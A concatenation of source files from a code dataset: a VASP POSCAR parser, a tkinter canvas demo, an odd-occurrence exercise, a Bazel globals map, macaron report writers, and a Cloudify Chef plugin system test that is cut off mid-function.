sys.exit(self.ERROR_NO_KEY)\n # Allow None for comment\n if self.entries['comment'] is not None:\n if not isinstance(comment, str):\n self._logger.error(\n f\"{self.ERROR_MESSAGES[self.ERROR_KEY_INVALID_TYPE]} The key 'comment' is not a string.\"\n )\n sys.exit(self.ERROR_KEY_INVALID_TYPE)\n\n def _check_sites(self, sites=None):\n \"\"\"\n Check that the sites entries are present.\n\n Parameters\n ----------\n sites, optional\n The sites to be checked. If not supplied the\n 'sites' key in the 'entries' is checked.\n\n \"\"\"\n\n if sites is None:\n try:\n sites = self.entries['sites']\n except KeyError:\n self._logger.error(self.ERROR_MESSAGES[f\"{self.ERROR_NO_KEY} The key in question is 'sites'.\"])\n sys.exit(self.ERROR_NO_KEY)\n if not isinstance(sites, list):\n self._logger.error(f\"{self.ERROR_MESSAGES[self.ERROR_KEY_INVALID_TYPE]} The key 'sites' is not a list.\")\n sys.exit(self.ERROR_KEY_INVALID_TYPE)\n\n def _check_site(self, site=None):\n \"\"\"\n Check that the site entry is a Site() object.\n\n Parameters\n ----------\n site, optional\n The site to be checked. If not supplied the entries under\n the 'sites' key in the 'entries' is checked.\n\n \"\"\"\n if site is None:\n try:\n sites = self.entries['sites']\n except KeyError:\n self._logger.error(self.ERROR_MESSAGES[f\"{self.ERROR_NO_KEY} The key in question is 'sites'.\"])\n sys.exit(self.ERROR_NO_KEY)\n for _site in sites:\n if not isinstance(_site, Site):\n self._logger.error(\n f'{self.ERROR_MESSAGES[self.ERROR_KEY_INVALID_TYPE]} '\n \"The elements of the key 'sites' are not Site() objects.\"\n )\n sys.exit(self.ERROR_KEY_INVALID_TYPE)\n else:\n if not isinstance(site, Site):\n self._logger.error(\n f\"{self.ERROR_MESSAGES[self.ERROR_KEY_INVALID_TYPE]} The key 'site' is not a Site() object.\"\n )\n sys.exit(self.ERROR_KEY_INVALID_TYPE)\n\n def _check_site_number(self, site_number):\n \"\"\"\n Check that the site_number is an int and that\n it is not out of bounds.\n\n Parameters\n ----------\n site_number : int\n The site_number to be checked\n\n \"\"\"\n\n if not isinstance(site_number, int):\n self._logger.error(\n f\"{self.ERROR_MESSAGES[self.ERROR_KEY_INVALID_TYPE]} The key 'site_number' is not an integer.\"\n )\n sys.exit(self.ERROR_KEY_INVALID_TYPE)\n sites = self.entries['sites']\n if site_number > (len(sites) - 1):\n self._logger.error(self.ERROR_MESSAGES[self.ERROR_TOO_LARGE_SITE_INDEX])\n sys.exit(self.ERROR_TOO_LARGE_SITE_INDEX)\n\n def _validate(self):\n \"\"\"Validate the content of entries\n\n \"\"\"\n\n self._check_dict()\n self._check_comment()\n self._check_unitcell()\n self._check_sites()\n\n def _sort_and_group_sites(self):\n \"\"\"\n Sort and group the positions and species to\n VASP specifications.\n\n Returns\n -------\n sites : list\n Contains site info for each site. Each site element\n contains a string describing the specie, a ndarray\n of floats describing the position, a ndarray of booleans\n to describe the selective flags and a boolean that\n contains a flag that is True if the positions are in direct\n coordinates.\n species : list of strings\n Contains the number of unique species\n num_species : list of ints\n Contains the occupancy of each specie in the same order as\n 'species'.\n selective : bool\n True if any selective flags are enabled, False otherwise.\n\n \"\"\"\n\n sites = []\n species = []\n selective = False\n velocities = False\n predictors = False\n for site in self.entries['sites']:\n specie = site.get_specie()\n select = site.get_selective()\n position = site.get_position()\n direct = site.get_direct()\n vel = site.get_velocities()\n pre = site.get_predictors()\n if direct is False:\n # Make sure it is direct as the writer only\n # supports this\n self._logger.error(self.ERROR_MESSAGES[self.ERROR_NO_DIRECT])\n sys.exit(self.ERROR_NO_DIRECT)\n if False in select:\n selective = True\n if vel is not None:\n velocities = True\n if pre is not None:\n predictors = True\n sites.append([specie, position, select, direct, vel, pre])\n species.append(specie)\n\n if not self._conserve_order:\n # Find unique entries and their number\n counter = Counter(species)\n # Counter does not order, so order now with the\n # least occuring element first (typical for compounds)\n sorted_keys = sorted(counter, key=counter.get)\n species = []\n num_species = []\n for key in sorted_keys:\n species.append(key)\n num_species.append(counter[key])\n\n # Now make sure the sites is on the same order\n ordered_sites = []\n for specie in species:\n ordered_sites.extend([site for site in sites if specie == site[0]])\n # Consider to also sort on coordinate after specie\n\n return ordered_sites, species, num_species, selective, velocities, predictors\n\n # Do not order, but we still need to group similar species\n # that follow each other\n num_species = []\n species_concat = []\n for specie in species:\n if species_concat and species_concat[-1] == specie:\n num_species[-1] = num_species[-1] + 1\n else:\n species_concat.append(specie)\n num_species.append(1)\n return sites, species_concat, num_species, selective, velocities, predictors\n\n def _get_key(self, item):\n \"\"\"Key fetcher for the sorted function.\"\"\"\n\n return item[0]\n\n def _to_direct(self, position_cart, unitcell):\n \"\"\"\n Transforms the position from cartesian to direct\n coordinates.\n\n Parameters\n ----------\n position_cart : ndarray\n | Dimension: (3)\n\n An ndarray containing the position in cartesian coordinates.\n unitcell : ndarray\n | Dimension: (3,3)\n\n Contains the unitcell.\n\n Returns\n -------\n position : ndarray\n An ndarray containing the position in direct coordinates.\n\n \"\"\"\n\n position = utils.cart_to_dir(position_cart, unitcell)\n\n return position\n\n def _to_cart(self, position_dir, unitcell):\n \"\"\"\n Transforms the position from direct to cartesian\n coordinates.\n\n Parameters\n ----------\n position : ndarray\n | Dimension: (3)\n\n An ndarray containing the position in direct coordinates.\n unitcell : ndarray\n | Dimension: (3,3)\n\n Contains the unitcell.\n\n Returns\n -------\n position : ndarray\n An ndarray containing the position in cartesian coordinates.\n\n \"\"\"\n\n position = utils.dir_to_cart(position_dir, unitcell)\n\n return position\n\n def get(self, tag):\n \"\"\"\n Return the value and comment of the entry with tag.\n\n Parameters\n ----------\n tag : string\n The entry tag of the POSCAR entry.\n\n Returns\n -------\n value : string, int, float or list\n The value of the tag entry\n\n \"\"\"\n\n value = None\n try:\n value = self.entries[tag].get_value()\n except KeyError:\n pass\n\n return value\n\n def get_dict(self, direct=True):\n \"\"\"\n Get a true dictionary containing the entries in an\n POSCAR compatible fashion.\n\n Returns\n -------\n dictionary : dict\n A dictionary on POSCAR compatible form.\n direct : bool, optional\n If True, all coordinates are returned in direct, otherwise\n in cartesian.\n\n \"\"\"\n\n dictionary = {}\n for key, entry in self.entries.items():\n if key == 'sites':\n sites_temp = []\n for element in entry:\n position = element.get_position()\n velocities = element.get_velocities()\n temp_direct = element.get_direct()\n if not direct:\n # Convert to cartesian\n position = self._to_cart(position, self.entries['unitcell'])\n if velocities is not None:\n velocities = self._to_cart(velocities, self.entries['unitcell'])\n temp_direct = False\n sites_temp.append({\n 'specie': element.get_specie().capitalize(),\n 'position': position,\n 'selective': element.get_selective(),\n 'velocities': velocities,\n 'predictors': element.get_predictors(),\n 'direct': temp_direct\n })\n dictionary[key] = sites_temp\n\n else:\n dictionary[key] = entry\n\n return dictionary\n\n def get_string(self):\n \"\"\"\n Get a string containing the entries in a POSCAR\n compatible fashion. Each line is broken by a newline\n character\n\n Returns\n -------\n poscar_string : str\n A string containing the POSCAR entries of the\n current instance.\n\n \"\"\"\n\n string_object = io.StringIO()\n self._write(file_handler=string_object)\n poscar_string = string_object.getvalue()\n string_object.close()\n\n return poscar_string\n\n def _write(self, file_handler, **kwargs): # pylint: disable=R0915\n \"\"\"\n Write POSCAR like files to a file or string\n\n Parameters\n ----------\n file_handler : object\n Either a file object or a StringIO object.\n\n \"\"\"\n\n self._validate()\n entries = self.entries\n comment = entries['comment']\n unitcell = entries['unitcell']\n # Sort and group to VASP specifications\n sites, species, num_species, selective, velocities, predictors = \\\n self._sort_and_group_sites()\n # Update comment\n compound = ''\n for index, specie in enumerate(species):\n if num_species[index] == 1:\n num_string = ''\n else:\n num_string = str(num_species[index])\n compound = compound + str(specie).capitalize() + num_string\n compound = 'Compound: ' + compound + '.'\n if comment is None:\n comment = '# ' + compound\n elif compound not in comment:\n comment = '# ' + compound + ' Old comment: ' + comment\n else:\n comment = '# ' + comment\n file_handler.write(comment + '\\n')\n # We avoid usage of the scaling factor\n file_handler.write('{:{width}.{prec}f}\\n'.format(1.0, prec=self._prec, width=self._width))\n # Write unitcell\n for i in range(3):\n file_handler.write(\n '{:{width}.{prec}f} {:{width}.{prec}f} '\n '{:{width}.{prec}f}\\n'.format(\n unitcell[i][0], unitcell[i][1], unitcell[i][2], prec=self._prec, width=self._width\n )\n )\n # Write specie types\n tempostring = ''\n for specie in species:\n tempostring = tempostring + f'{specie.capitalize():5s} '\n file_handler.write(f'{tempostring.rstrip()}\\n')\n # Write number of species\n tempostring = ''\n for number in num_species:\n tempostring = tempostring + f'{number:5d} '\n file_handler.write(f'{tempostring.rstrip()}\\n')\n # Write selective if any flags are True\n if selective:\n file_handler.write('Selective dynamics\\n')\n if not self._write_direct:\n file_handler.write('Cartesian\\n')\n else:\n file_handler.write('Direct\\n')\n\n # Write positions\n for site in sites:\n if self._write_direct:\n _site = site[1]\n else:\n _site = self._to_cart(site[1][0:3], unitcell)\n file_handler.write(\n '{:{width}.{prec}f} {:{width}.{prec}f} '\n '{:{width}.{prec}f}'.format(_site[0], _site[1], _site[2], prec=self._prec, width=self._width)\n )\n if selective:\n sel = ['T', 'T', 'T']\n flags = site[2]\n for index, flag in enumerate(flags):\n if not flag:\n sel[index] = 'F'\n file_handler.write(f' {sel[0]} {sel[1]} {sel[2]}')\n file_handler.write('\\n')\n\n # Write velocities if they exist\n if velocities:\n if self._write_direct:\n file_handler.write('Direct\\n')\n else:\n file_handler.write('Cartesian\\n')\n for site in sites:\n if self._write_direct:\n _site = site[4]\n else:\n _site = self._to_cart(site[4][0:3], unitcell)\n file_handler.write(\n '{:{width}.{prec}f} {:{width}.{prec}f} '\n '{:{width}.{prec}f}\\n'.format(_site[0], _site[1], _site[2], prec=self._prec, width=self._width)\n )\n\n # Write predictors if they exist\n if predictors:\n file_handler.write('\\n')\n for site in sites:\n file_handler.write(\n '{:{width}.{prec}f} {:{width}.{prec}f} '\n '{:{width}.{prec}f}\\n'.format(\n site[5][0], site[5][1], site[5][2], prec=self._prec, width=self._width\n )\n )\n\n\nclass Site:\n \"\"\"Class to represent atomic site.\"\"\"\n\n def __init__(self, specie, position, selective=None, velocities=None, predictors=None, direct=True):\n \"\"\"\n A site, typically a position in POSCAR.\n\n Parameters\n ----------\n specie : string\n The specie of this site.\n position : ndarray\n The position of the current site as a ndarray of floats.\n selective : ndarray, optional\n The selective tags as a ndarray of booleans. If not\n supplied, defaults to True.\n velocities : ndarray, optional\n The velocities for each position. Defaults to None if not\n supplied.\n predictors : ndarray, optional\n The predictor-corrector coordinates. Defaults to None if not\n supplied.\n direct : bool, optional\n True if the position is in direct coordinates. This is the\n default.\n\n \"\"\"\n\n # make sure specie is lowercase\n self.specie = specie.lower()\n self.position = position\n if selective is None:\n self.selective = [True, True, True]\n else:\n self.selective = selective\n self.velocities = velocities\n self.predictors = predictors\n self.direct = direct\n\n def get_specie(self):\n \"\"\"\n Return the specie.\n\n Returns\n -------\n specie : string\n A string containing the atomic capitalized atomic specie.\n\n \"\"\"\n\n specie = self.specie.capitalize()\n return specie\n\n def set_position(self, position):\n \"\"\"\n Sets the position.\n\n Parameters\n ----------\n position : ndarray\n The coordinate that are to be set as position.\n\n \"\"\"\n\n self.position = position\n\n def get_position(self):\n \"\"\"\n Return the position.\n\n Returns\n -------\n position : ndarray\n\n \"\"\"\n\n position = self.position\n return position\n\n def get_selective(self):\n \"\"\"\n Return the selective flags.\n\n Returns\n -------\n selective : list\n A list of three bool, either True or False, depending on\n which directions to perform selective dynamics.\n\n \"\"\"\n\n selective = self.selective\n return selective\n\n def set_velocities(self, velocities):\n \"\"\"\n Sets the velocities.\n\n Parameters\n ----------\n velocities : ndarray\n The three velocities that are to be set as velocities.\n\n \"\"\"\n\n self.velocities = velocities\n\n def get_velocities(self):\n \"\"\"\n Return the velocities.\n\n Returns\n -------\n velocities : ndarray\n An ndarray of three floats containing the velocities along\n each direction.\n\n \"\"\"\n\n velocities = self.velocities\n return velocities\n\n def get_predictors(self):\n \"\"\"\n Return the predictors.\n\n Returns\n -------\n predictors : ndarray\n An ndarray of three floats containing the predictors along\n each direction.\n\n \"\"\"\n\n predictors = self.predictors\n return predictors\n\n def set_direct(self, direct):\n \"\"\"\n Sets direct.\n\n Parameters\n ----------\n direct : bool\n The boolean that determines if the position and velocities are\n in cartesian or direct coordinates.\n\n \"\"\"\n\n self.direct = direct\n\n def get_direct(self):\n \"\"\"\n Return the direct status of the coordinate.\n\n Returns\n -------\n direct : bool\n True if the coordinates are given in direct coordinates,\n otherwise for direct, False.\n\n \"\"\"\n\n direct = self.direct\n return direct\n","repo_name":"aiida-vasp/parsevasp","sub_path":"parsevasp/poscar.py","file_name":"poscar.py","file_ext":"py","file_size_in_byte":36808,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"35332776734","text":"import tkinter # 导入Tkinter模块\nfrom PIL import Image, ImageTk\n\nroot = tkinter.Tk()\ncanvas = tkinter.Canvas(root,\n width=500, # 指定Canvas组件的宽度\n height=600, # 指定Canvas组件的高度\n bg='white') # 指定Canvas组件的背景色\n# im = Tkinter.PhotoImage(file='img.gif') # 使用PhotoImage打开图片\nimage = Image.open(\"test.jpg\")\nim = ImageTk.PhotoImage(image)\n\ncanvas.create_image(250, 200, image=im) # 使用create_image将图片添加到Canvas组件中\ncanvas.create_text(302, 77, # 使用create_text方法在坐标（302，77）处绘制文字\n text='Use Canvas' # 所绘制文字的内容\n , fill='gray') # 所绘制文字的颜色为灰色\ncanvas.create_text(300, 75,\n text='Use Canvas',\n fill='blue')\ncanvas.pack() # 将Canvas添加到主窗口\nroot.mainloop()","repo_name":"RelaxedDong/python_base","sub_path":"tkinter/tkinter网络编程/client2.py","file_name":"client2.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"75042398801","text":"\"\"\"\nGiven a list of numbers, write a function to find the number in the list that\nappears an odd number of times.\n\"\"\"\n\nfrom functools import reduce\nfrom collections import Counter\n\n\ndef find_odd_occurrence_1(seq):\n \"\"\"Solution using the Counter class.\"\"\"\n counts = Counter(seq)\n for n in counts:\n if counts[n] % 2:\n return n\n\n\ndef find_odd_occurrence_2(seq):\n \"\"\"\n Solution using the xor operator and reduce(). Exclusive or is commutative,\n which results in an odd occurence of a number in a sequence not being\n cancelled out when being reduced. Problem with reduce() is that there's\n quite a bit of overhead as the lambda func is getting called for every\n element in the sequence.\n \"\"\"\n return reduce(lambda x, y: x ^ y, seq)\n\n\ndef find_odd_occurrence_3(seq):\n \"\"\"\n Similar solution to 2 except using a for loop instead of reduce(). This way\n is much faster.\n \"\"\"\n x = 0\n for n in seq:\n x ^= n\n return x\n\n\ndef main():\n \"\"\"Entry point.\"\"\"\n solutions = [\n find_odd_occurrence_1,\n find_odd_occurrence_2,\n find_odd_occurrence_3,\n ]\n\n test_cases = []\n for _ in range(5):\n n = randrange(1, 10)\n seq = [randrange(1, 10) for _ in range(1, 8000)] * 2 + [n] * randrange(1, 2000, 2)\n shuffle(seq)\n test_cases.append(seq)\n\n for solution in solutions:\n print(f\"{solution.__name__}:\")\n solution = timed_func(solution)\n for test_case in test_cases:\n res, seconds = solution(test_case)\n print(f\"{res}, that took {seconds:.6f}s\")\n print()\n\n\nif __name__ == \"__main__\":\n from random import randrange, shuffle\n from timing import timed_func # timing can be found in my `python-sorting-algorithms` repo\n\n main()\n","repo_name":"Dagonite/python-exercises","sub_path":"Exercises/E02_Medium/E18_Find_Odd_Occurrence/odd_occurrence.py","file_name":"odd_occurrence.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71507981842","text":"# Access any of these globals via bazel_features.globals.\n# If the current version of Bazel doesn't have this global, it will be None.\nGLOBALS = {\n # https://github.com/bazelbuild/bazel/pull/15232\n \"RunEnvironmentInfo\": \"5.3.0\",\n\n # Only used for testing bazel_features itself.\n \"DefaultInfo\": \"0.0.1\",\n \"__TestingOnly_NeverAvailable\": \"1000000000.0.0\",\n}\n","repo_name":"bazel-contrib/bazel_features","sub_path":"private/globals.bzl","file_name":"globals.bzl","file_ext":"bzl","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"73164247760","text":"import abc\nimport json\nimport logging\nimport os\nfrom copy import deepcopy\n\nfrom jinja2 import (\n Environment,\n FileSystemLoader,\n TemplateNotFound,\n TemplateRuntimeError,\n TemplateSyntaxError,\n select_autoescape,\n)\n\nimport macaron.output_reporter.jinja2_extensions as jinja2_extensions # pylint: disable=consider-using-from-import\nfrom macaron.output_reporter.results import Report\nfrom macaron.output_reporter.scm import SCMStatus\n\nlogger: logging.Logger = logging.getLogger(__name__)\n\nTEMPLATE_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"templates\")\n\n\nclass FileReporter(abc.ABC):\n \"\"\"The reporter that handles writing data to disk files.\"\"\"\n\n def __init__(self, mode: str = \"w\", encoding: str = \"utf-8\"):\n \"\"\"Initialize instance.\n\n Parameters\n ----------\n mode : str\n The mode to open the target files, by default \"w\".\n encoding : str\n The encoding used to handle disk files, by default \"utf-8\".\n \"\"\"\n self.mode = mode\n self.encoding = encoding\n\n def write_file(self, file_path: str, data: str) -> bool:\n \"\"\"Write the data into a file.\n\n Parameters\n ----------\n file_path : str\n The path to the target file.\n data : Any\n The data to write into the file.\n\n Returns\n -------\n bool\n True if succeeded else False.\n \"\"\"\n try:\n with open(file_path, mode=self.mode, encoding=self.encoding) as file:\n logger.info(\"Writing to file %s\", file_path)\n file.write(data)\n return True\n except OSError as error:\n logger.error(\"Cannot write to %s. Error: %s\", file_path, error)\n return False\n\n @abc.abstractmethod\n def generate(self, target_dir: str, report: Report | dict) -> None:\n \"\"\"Generate a report file.\n\n This method is implemented in subclasses.\n\n Parameters\n ----------\n target_dir : str\n The directory to store all output files.\n report : Report | dict\n The report to be generated.\n \"\"\"\n\n\nclass JSONReporter(FileReporter):\n \"\"\"This class handles writing reports to JSON files.\"\"\"\n\n def __init__(self, mode: str = \"w\", encoding: str = \"utf-8\", indent: int = 4):\n \"\"\"Initialize instance.\n\n Parameters\n ----------\n mode: str\n The file operation mode.\n encoding: str\n The encoding.\n indent : int\n The indent for the JSON output, by default 4.\n \"\"\"\n super().__init__(mode, encoding)\n self.indent = indent\n\n def generate(self, target_dir: str, report: Report | dict) -> None:\n \"\"\"Generate JSON report files.\n\n Each record is stored in a separate JSON file, the name of each\n file is the name of the repo.\n\n A dependencies.json is also created to store the information of all resolved dependencies.\n\n Parameters\n ----------\n target_dir : str\n The directory to store all output files.\n report: Report | dict\n The report to be generated.\n \"\"\"\n if not isinstance(report, Report):\n return\n try:\n dep_file_name = os.path.join(target_dir, \"dependencies.json\")\n serialized_configs = list(report.get_serialized_configs())\n self.write_file(dep_file_name, json.dumps(serialized_configs, indent=self.indent))\n\n for record in report.get_records():\n if record.context and record.status == SCMStatus.AVAILABLE:\n file_name = os.path.join(target_dir, f\"{record.context.component.report_file_name}.json\")\n json_data = json.dumps(record.get_dict(), indent=self.indent)\n self.write_file(file_name, json_data)\n except TypeError as error:\n logger.critical(\"Cannot serialize output report to JSON: %s\", error)\n\n\nclass HTMLReporter(FileReporter):\n \"\"\"This class handles writing reports to HTML files.\"\"\"\n\n def __init__(\n self,\n mode: str = \"w\",\n encoding: str = \"utf-8\",\n env: Environment | None = None,\n target_template: str = \"macaron.html\",\n ) -> None:\n \"\"\"Initialize instance.\n\n Parameters\n ----------\n mode: str\n The file operation mode.\n encoding: str\n The encoding.\n env : Environment | None\n The pre-initiated ``jinja2.Environment`` instance for the HTMLReporter. If this is not\n provided, a default jinja2.Environment will be initialized.\n target_template : str\n The target template. It will be looked up from the jinja2.Environment instance.\n \"\"\"\n super().__init__(mode, encoding)\n if env:\n self.env = env\n else:\n self.env = Environment(\n loader=FileSystemLoader(TEMPLATE_DIR),\n autoescape=select_autoescape(enabled_extensions=[\"html\", \"j2\"]),\n trim_blocks=True,\n lstrip_blocks=True,\n )\n\n self._init_extensions()\n\n self.template = None\n try:\n self.template = self.env.get_template(target_template)\n except TemplateNotFound:\n logger.error(\"Cannot find the template to load.\")\n\n def _init_extensions(self) -> None:\n \"\"\"Dynamically add Jinja2 extension filters and tests.\"\"\"\n filters = {}\n tests = {}\n\n if jinja2_extensions.filter_extensions or jinja2_extensions.test_extensions:\n for name, custom_filter in jinja2_extensions.filter_extensions.items():\n if hasattr(jinja2_extensions, custom_filter):\n filters[name] = getattr(jinja2_extensions, custom_filter)\n\n for name, test in jinja2_extensions.test_extensions.items():\n if hasattr(jinja2_extensions, test):\n tests[name] = getattr(jinja2_extensions, test)\n\n self.env.tests.update(tests)\n self.env.filters.update(filters)\n\n def generate(self, target_dir: str, report: Report | dict) -> None:\n \"\"\"Generate HTML report files.\n\n Each record is stored in a separate HTML file, the name of each\n file is the name of the repo.\n\n The target_template is used to load the template within the initialized\n jinja2.Environment. If it failed to load, no HTML files will be generated.\n\n Parameters\n ----------\n target_dir : str\n The directory to store all output files.\n report: Report | dict\n The report to be generated.\n \"\"\"\n if not self.template or not isinstance(report, Report):\n return\n\n try:\n for record in report.get_records():\n if record.context and record.status == SCMStatus.AVAILABLE:\n file_name = os.path.join(target_dir, f\"{record.context.component.report_file_name}.html\")\n # Make a deep copy because we don't want to keep any modification from Jinja\n # in the original data.\n html = self.template.render(deepcopy(record.get_dict()))\n self.write_file(file_name, html)\n except TemplateSyntaxError as error:\n location = f\"line {error.lineno}\"\n name = error.filename or error.name\n if name:\n location = f'File \"{name}\", {location}'\n logger.info(\"jinja2.TemplateSyntaxError: \\n\\t%s\\n\\t%s\", error.message, location)\n except TemplateRuntimeError as error:\n logger.error(\"jinja2.TemplateRunTimeError: %s\", error)\n\n\nclass PolicyReporter(FileReporter):\n \"\"\"This class writes policy engine reports to a JSON file.\"\"\"\n\n def __init__(self, mode: str = \"w\", encoding: str = \"utf-8\", indent: int = 4):\n \"\"\"Initialize instance.\n\n Parameters\n ----------\n mode: str\n The file operation mode.\n encoding: str\n The encoding.\n indent : int\n The indent for the JSON output, by default 4.\n \"\"\"\n super().__init__(mode, encoding)\n self.indent = indent\n\n def generate(self, target_dir: str, report: Report | dict) -> None:\n \"\"\"Generate JSON report files.\n\n Each record is stored in a separate JSON file, the name of each\n file is the name of the repo.\n\n A dependencies.json is also created to store the information of all resolved dependencies.\n\n Parameters\n ----------\n target_dir : str\n The directory to store all output files.\n report: Report | dict\n The report to be generated.\n \"\"\"\n if not isinstance(report, dict):\n return\n try:\n self.write_file(os.path.join(target_dir, \"policy_report.json\"), json.dumps(report, indent=self.indent))\n except (TypeError, ValueError, OSError) as error:\n logger.critical(\"Cannot serialize the policy report to JSON: %s\", error)\n","repo_name":"oracle/macaron","sub_path":"src/macaron/output_reporter/reporter.py","file_name":"reporter.py","file_ext":"py","file_size_in_byte":9127,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"3"} +{"seq_id":"73999260240","text":"import subprocess\nimport time\nimport os\nfrom zipfile import ZipFile\n\nimport sh\nimport fabric.api\nfrom fabric import operations\nfrom path import path\n\nfrom cosmo_tester.framework.testenv import TestCase\nfrom cosmo_tester.framework.util import YamlPatcher, get_actual_keypath\n\nCHEF_SERVER_COOKBOOK_ZIP_URL = (\n 'https://github.com/opscode-cookbooks/chef-server/archive/'\n 'c588a4c401d3fac14f70d3285fe49eb4dccd9759.zip'\n)\n\nKNIFE_PARAMS = '-u admin -k ~/admin.pem'\n\n\ndef _use_cookbook(cookbook_name,\n cookbook_local_tar_path):\n \"\"\" Downloads cookbook from given url and uploads it to the Chef server \"\"\"\n fabric.api.run('mkdir -p ~/cookbooks/{0}'.format(cookbook_name))\n fabric.api.put(local_path=cookbook_local_tar_path,\n remote_path='/tmp/{0}.tar.gz'.format(cookbook_name))\n fabric.api.run('tar -xzvf /tmp/{0}.tar.gz --strip-components=1'\n ' -C ~/cookbooks/{0}'.format(cookbook_name))\n fabric.api.run('knife cookbook upload {0} --cookbook-path ~/cookbooks {1}'\n .format(KNIFE_PARAMS, cookbook_name))\n fabric.api.run('knife cookbook list {0} | grep -F {1}'\n .format(KNIFE_PARAMS, cookbook_name))\n\n\ndef _userize_file(original_path):\n \"\"\" Places the file under user's home directory and make it\n permissions-wise accessible \"\"\"\n fabric.api.sudo(\"cp -a {path} ~{user}/ && chown {user} ~{user}/{basename}\"\n .format(path=original_path,\n basename=str(path(original_path).basename()),\n user=fabric.api.env['user']))\n\n\ndef setup_chef_server(local_dir, cookbooks):\n _userize_file(\"/etc/chef-server/admin.pem\")\n for cb in cookbooks:\n _use_cookbook(*cb)\n\n _userize_file(\"/etc/chef-server/chef-validator.pem\")\n operations.get('~/chef-validator.pem', str(local_dir))\n\n\ndef find_node_state(node_name, nodes_state):\n pfx = node_name + '_'\n matches = [v for k, v in nodes_state.items() if k.startswith(pfx)]\n if len(matches) != 1:\n raise RuntimeError(\"Failed to find node {0}\".format(node_name))\n return matches[0]\n\n\ndef get_nodes_of_type(blueprint, type_):\n return [node_obj for _, node_obj in blueprint.obj[\n 'node_templates'].iteritems() if node_obj['type'] == type_]\n\n\ndef update_blueprint(env, blueprint, hostname, userdata_vars=None):\n hostname_base = 'system-test-{0}-{1}'.format(\n time.strftime(\"%Y%m%d-%H%M\"), hostname)\n vm = get_nodes_of_type(blueprint, 'cloudify.openstack.nodes.Server')[0]\n hostnames = [hostname_base]\n users = []\n vm_hostname = hostname_base\n\n sg = '{0}{1}'.format(env.resources_prefix, 'chef_sg')\n\n inputs = {\n 'flavor': env.flavor_name,\n 'image': env.ubuntu_trusty_image_name,\n 'server_name': vm_hostname,\n 'security_groups': [sg],\n }\n props = vm['properties']['server']\n\n server_userdata = \"\"\"#!/bin/bash -ex\ngrep -q \"{hostname}\" /etc/hosts || echo \"127.0.0.1 {hostname}\" >> /etc/hosts\"\"\"\n\n client_userdata = \"\"\"#!/bin/bash -ex\ngrep -q \"{chef_server_hostname}\" /etc/hosts || \\\necho \"{chef_server_ip} {chef_server_hostname}\" >> /etc/hosts\n\"\"\"\n\n if 'userdata' in props:\n if userdata_vars:\n userdata = client_userdata.format(**userdata_vars)\n else:\n hostname = '{0}{1}'.format(env.resources_prefix,\n vm_hostname).replace('_', '-')\n userdata = server_userdata.format(hostname=hostname)\n inputs['userdata'] = userdata\n\n users.append('ubuntu')\n return {'hostnames': hostnames, 'users': users}, inputs\n\n\ndef get_resources_path():\n resources_path = '{0}/resources'.format(os.path.dirname(__file__))\n return resources_path\n\n\nclass ChefPluginClientTest(TestCase):\n\n def setUp(self, *args, **kwargs):\n\n super(ChefPluginClientTest, self).setUp(*args, **kwargs)\n agent_key_file = get_actual_keypath(self.env,\n self.env.agent_key_path)\n\n resources_path = get_resources_path()\n blueprint_dir = self.copy_blueprint('blueprints',\n blueprints_dir=resources_path)\n self.blueprint_yaml = (\n blueprint_dir / 'chef-server-by-chef-solo-blueprint.yaml')\n\n with YamlPatcher(self.blueprint_yaml) as blueprint:\n bp_info, inputs = update_blueprint(self.env, blueprint,\n 'chef-server')\n\n self.chef_server_hostname = '{0}{1}'.format(\n self.env.resources_prefix.replace('_', '-'),\n bp_info['hostnames'][0])\n\n cookbooks_dir = blueprint_dir / 'cookbooks'\n\n def run(*args, **kwargs):\n return subprocess.check_output(*args, **kwargs)\n\n with cookbooks_dir:\n run([\n 'wget', '-q', '-O', 'chef-server.zip',\n CHEF_SERVER_COOKBOOK_ZIP_URL,\n ])\n ZipFile('chef-server.zip').extractall()\n chef_cookbook_dir = cookbooks_dir.glob('chef-server-*')[0]\n run(['mv', chef_cookbook_dir, 'chef-server'])\n # Next line because Chef cookbooks are required\n # to declare all dependencies, even if they don't use them.\n # We don't need git, it's only used in chef-cookbook::dev recipe.\n run(['sed', '-i', \"/depends 'git'/d\", 'chef-server/metadata.rb'])\n\n with blueprint_dir:\n run(['tar', 'czf', 'cookbooks.tar.gz', 'cookbooks'])\n\n self.chef_server_id = self.test_id + '-chef-server'\n id_ = self.chef_server_id\n before, after = self.upload_deploy_and_execute_install(\n blueprint_id=id_, deployment_id=id_, inputs=inputs)\n\n fip_node = find_node_state('ip', after['node_state'][id_])\n self.chef_server_ip = fip_node['runtime_properties'][\n 'floating_ip_address']\n\n fabric_env = fabric.api.env\n fabric_env.update({\n 'timeout': 30,\n 'user': bp_info['users'][0],\n 'key_filename': str(agent_key_file),\n 'host_string': self.chef_server_ip,\n })\n\n cookbook_local_path = os.path.abspath(\n os.path.join(self.copy_blueprint('blueprints',\n blueprints_dir=resources_path),\n 'cookbook-create-file.tar.gz'))\n setup_chef_server(blueprint_dir, [[\n 'create-file',\n cookbook_local_path,\n ]])\n self.blueprint_dir = blueprint_dir\n\n def tearDown(self, *args, **kwargs):\n self.execute_uninstall(self.chef_server_id)\n super(ChefPluginClientTest, self).tearDown(*args, **kwargs)\n\n def test_chef_client(self):\n blueprint_dir = self.blueprint_dir\n self.blueprint_yaml = blueprint_dir / 'chef-client-test-blueprint.yaml'\n with YamlPatcher(self.blueprint_yaml) as blueprint:\n _, inputs = update_blueprint(self.env, blueprint, 'chef-server', {\n 'chef_server_ip': self.chef_server_ip,\n 'chef_server_hostname': self.chef_server_hostname,\n })\n chef_node = get_nodes_of_type(blueprint,\n 'cloudify.chef.nodes.DBMS')[0]\n chef_config = chef_node['properties']['chef_config']\n chef_config['chef_server_url'] = 'https://{0}:443'.format(\n self.chef_server_ip)\n chef_config['validation_client_name'] = 'chef-validator'\n chef_config['validation_key'] = (\n path(blueprint_dir) / 'chef-validator.pem').text()\n\n id_ = self.test_id + '-chef-client-' + str(int(time.time()))\n 